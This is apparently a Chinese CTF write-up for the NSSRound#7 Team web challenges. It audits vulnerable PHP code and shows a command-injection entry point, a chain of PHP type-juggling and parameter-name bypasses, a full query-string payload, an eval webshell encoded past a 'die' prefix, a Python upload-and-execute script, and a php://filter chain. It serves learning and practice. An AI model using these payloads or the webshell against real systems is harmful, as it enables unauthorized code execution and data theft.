【更新中】[NSSRound#7 Team]web
[NSSRound#7 Team]ec_RCE
直接扫描目录得到DS_Store,进去会发现能看到Ns_SCtF.php。
源码:
1 2 3 4 5 6 7 8 9 10 11
| <?PHP if(!isset($_POST["action"]) && !isset($_POST["data"])) show_source(__FILE__); putenv('LANG=zh_TW.utf8'); $action = $_POST["action"]; $data = "'".$_POST["data"]."'"; $output = shell_exec("/var/packages/Java8/target/j2sdk-image/bin/java -jar jar/NCHU.jar $action $data"); echo $output;
|
action和data是可控的,并且会被拼接到output中然后被执行然后输出。可以RCE。

[NSSRound#7 Team]0o0
目录扫描下载到源码我们进行一下代码审计。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| <?php error_reporting(0); highlight_file(__FILE__);
$NSScTf = $_GET['NSScTf'] ?: ''; $nSScTF = $_GET['nSScTF'] ?: ''; $nSscTF = $_GET['nSscTF'] ?: ''; if ($NSSCTF != $NsSCTF && sha1($NSSCTF) === sha1($NsSCTF)) { if (!is_numeric($NsScTF) && in_array($NsScTF, array(1))) { if (file_get_contents($NsScTf) === "Welcome to Round7!!!") { if (isset($_GET['nss_ctfer.vip'])) { if ($NSScTf != 114514 && intval($NSScTf, 0) === 114514) { $nss = is_numeric($nSScTF) and is_numeric($nSscTF) !== "NSSRound7"; if ($nss && $nSscTF === "NSSRound7") { if (isset($_POST['submit'])) { $file_name = urldecode($_FILES['file']['name']); $path = $_FILES['file']['tmp_name']; if(strpos($file_name, ".png") == false){ die("NoO0P00oO0! Png! pNg! pnG!"); } $content = file_get_contents($path); $real_content = '<?php die("Round7 do you like");'. $content . '?>'; $real_name = fopen($file_name, "w"); fwrite($real_name, $real_content); fclose($real_name); echo "OoO0o0hhh."; } else { die("NoO0oO0oO0!"); } } else { die("N0o0o0oO0o!"); } } else { die("NoOo00O0o0!"); } } else { die("Noo0oO0oOo!"); } } else { die("NO0o0oO0oO!"); } } else { die("No0o0o000O!"); } } else { die("NO0o0o0o0o!"); } NO0o0o0o0o!
|
第一层数组绕过,NSSCTF[]=1&NSSCTF[]=2
第二层是in_array()第三个参数没有直接strict导致可以绕过,NsScTF=1q
if (file_get_contents($NsScTf) === "Welcome to Round7!!!")
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| 在php手册中查询 **file_get_contents()** 函数的作用:
**file_get_contents()** 函数是用来将文件的内容读入到一个字符串中的首选方法。如果操作系统支持还会使用内存映射技术来增强性能。
> **注意**: > > 如果要打开有特殊字符的 URL (比如说有空格),就需要使用 [urlencode()](https://www.php.net/manual/zh/function.urlencode.php) 进行 URL 编码。
显然我们没办法上传文件,但是能给参数传url想到php伪协议
`data://` 会把 URI 中的数据当作“文件内容”读出。也就是说`file_get_contents('data://text/plain,Welcome to Round7!!!')` 会直接返回字符串 `Welcome to Round7!!!`,因此可以绕过对“真实文件路径”的期待。
4.
|
if (isset($_GET['nss_ctfer.vip'])) {
1 2 3 4 5 6 7 8 9
| 还是考的php特性,都有点忘了
这是php中的非法参数名传参:

因此我们是没办法直接传入`nss_ctfer.vip`的,会被替换成`nss_ctfer_vip`,但是php中还有一个特性,如果传入`[`,它被转化为`_`之后,后面的字符就会被保留下来不会被替换。因此我们可以构造出来该变量名咯。
|
nss[ctfer.vip
1 2 3
| 5. ``` if ($NSScTf != 114514 && intval($NSScTf, 0) === 114514) {
|
第五层是intval()绕过,字符串使用科学计数法,会默认是前面的数字,比如’1e1’转化变成1,NSScTf=114514e1,第五层直接`nSScTF=1,$nSscTF=NSSRound7`。
if ($nss && $nSscTF === "NSSRound7") {
if (isset($_POST['submit'])) {
1 2 3 4 5
| 直接构造:`nSScTF=1&nSscTF=NSSRound7` 记得提交submit,
得到这一部分payload
|
?NSSCTF[]=1&NsSCTF[]=2&NsScTF=1a&NsScTf=data://text/plain,Welcome%20to%20Round7!!!&nss[ctfer.vip=&NSScTf=114514.3&nSScTF=1&nSscTF=NSSRound7
POST:submit=1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| 以上全部都是php特性,可以参考一下[PHP 特性 - Hello CTF](https:
这里是一个文件上传
```php <?php $file_name = urldecode($_FILES['file']['name']); $path = $_FILES['file']['tmp_name']; if(strpos($file_name, ".png") == false){ die("NoO0P00oO0! Png! pNg! pnG!"); } $content = file_get_contents($path); $real_content = '<?php die("Round7 do you like");'. $content . '?>'; $real_name = fopen($file_name, "w"); fwrite($real_name, $real_content); fclose($real_name);
|
上述代码通过strops()检测文件的名称是否存在png,但这种写法不严谨—— evil.png.php 也会通过检查。
关键是会将<?php die(“Round7 do you like”);与我们传的php拼接,就导致了如果直接在浏览器访问这个文件,PHP 会立即停止执行。
一个思路是在解码时将死亡代码给解码成乱码,使其无法作用。
1 2 3 4 5 6
| <?php @eval($_POST['attack']);?> base编码·: PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+
<?php die("Round7 do you like");aaaPD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+?> 这里要补三个字母aaa,因为php解码时是四个byte一组
|
这样传后续我们使用php://filter/convert.base64-decode访问上传的文件,前面的die被解释为乱码就没办法执行了。
后续我们写个脚本实现上述所有传参和文件上传操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| import requests from base64 import b64encode import re def get_flag(URL): url = f"{URL}/Ns_SCtF.php?NSSCTF[]=1&NsSCTF[]=2&NsScTF=1%00&NsScTf=data://text/plain,Welcome%20to%20Round7!!!&nss[ctfer.vip=true&NSScTf=114514e1&nSScTF=1&nSscTF=NSSRound7" data = {'submit':1} payload = str(b64encode(b"<?php system('cat /home/f1ag');?>")) payload = re.findall(r"b'(.*?)'",payload)[0] file1 = {'file': ('1.png.php', f"aaa{payload}")} file2 = {'file': ('%70%68%70%3a%2f%2f%66%69%6c%74%65%72%2f%63%6f%6e%76%65%72%74%2e%62%61%73%65%36%34%2d%64%65%63%6f%64%65%2f%72%65%73%6f%75%72%63%65%3d%31%2e%70%6e%67%2e%70%68%70', f"aaa{payload}")} requests.post(url,data=data,files=file1) requests.post(url,files=file2,data=data) nssctf_text3 = requests.post(f'{URL}/1.png.php').text print(nssctf_text3) if __name__ == "__main__": get_flag("")
|

但是其实一开始如果没有目录扫描的话还有一个level1level2。
请求头有一个参数,提示我们get传参

传参后得到代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <?php header('get:S0uRc3'); error_reporting(0); set_include_path('Round7/');
if (isset($_GET['0o0'])) { $O0O = file_get_contents($_GET['0o0'],1); if (strpos($O0O, 'Round7') === 0) { die('NO!!!!! Permission denied!'); } else if (strpos($O0O, 'Xy1on') === 0) { echo $O0O; die(); } else { die("Nothing!!!"); } } if(isset($_GET['S0uRc3'])){ highlight_file(__FILE__); $O0O = file_get_contents('CTF',1); echo $O0O; }else{ echo "Nothing here"; }
|
进行代码审计,
1 2 3 4 5 6 7 8 9 10 11
| if (isset($_GET['0o0'])) { $O0O = file_get_contents($_GET['0o0'],1); if (strpos($O0O, 'Round7') === 0) { die('NO!!!!! Permission denied!'); } else if (strpos($O0O, 'Xy1on') === 0) { echo $O0O; die(); } else { die("Nothing!!!"); } }
|
我们需要传入$_GET['0o0']而且,参数通过strpos校验开头不能是Round7必须是Xy1on。
1
| $O0O = file_get_contents($_GET['0o0'],1);
|
这一句代码中,1代表用了常量 FILE_USE_INCLUDE_PATH 用于触发搜索 include path,前面的代码
1
| set_include_path('Round7/');
|
当你传 ?0o0=xxx 时,代码会读入 xxx 指向的资源内容到 $O0O。
重要:如果 xxx 是 相对路径(如 level2),它会在 Round7/level2 读取。
但如果 xxx 是 流封装器(如 php://filter/.../resource=level2、data://...),则不再走 include_path 的相对查找规则,直接按封装器处理。这正是我们可以利用的点。
想要读 /flag 的内容,但脚本只会在输出内容的第一个字节开始就是 Xy1on 时才把内容回显。
显然,/flag 文件的真实内容不可能天然以 Xy1on 开头;我们需要“想办法让输出看起来以 Xy1on 开头”,而不是改原文件。
php://filter 是 PHP 的流过滤器封装器,允许在“读取资源”时,对字节流做一串可组合的转码/编解码/替换操作(filter chain)。形式大概是:
1
| php://filter/read=<过滤器1>|<过滤器2>|.../resource=<真正的资源>
|
如果我们能找到一串过滤器,使得“level2 的原始内容 → 经过过滤器链的输出”的前缀恰好变成 Xy1on,就能触发 echo $O0O; 了。
Synacktiv 的 php_filter_chain_generator。它能针对一个想要的目标前缀(例如 Xy1on)自动搜一条可行的过滤器链,把实际文件内容“变形”成以这个前缀开头的输出。
项目地址:https://github.com/synacktiv/php_filter_chain_generator
生成filter链

1
| php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp
|
然后就能得到源码的路由了。
【待】[NSSRound#7 Team]新的博客
【待】[NSSRound#7 Team]ShadowFlag
references
NSSRound 7 Team复现 | ChenXun
[NSSRound#7 Team]Web学习_[nssround#7 team]新的博客-CSDN博客
[NSSRound#7_nssround#7 team]0o0-CSDN博客
https://www.php.net/manual/zh/function.file-get-contents.php
PHP: 来自 PHP 之外的变量 - Manual
ctfshow web123(php get或post变量名中非法字符转化下划线) - hithub - 博客园
PHP 特性 - Hello CTF
file_put_content和死亡·杂糅代码之缘-先知社区
NSSCTF-round8&&round7部分题目复现 - GTL_JU - 博客园
PHP: file_get_contents - Manual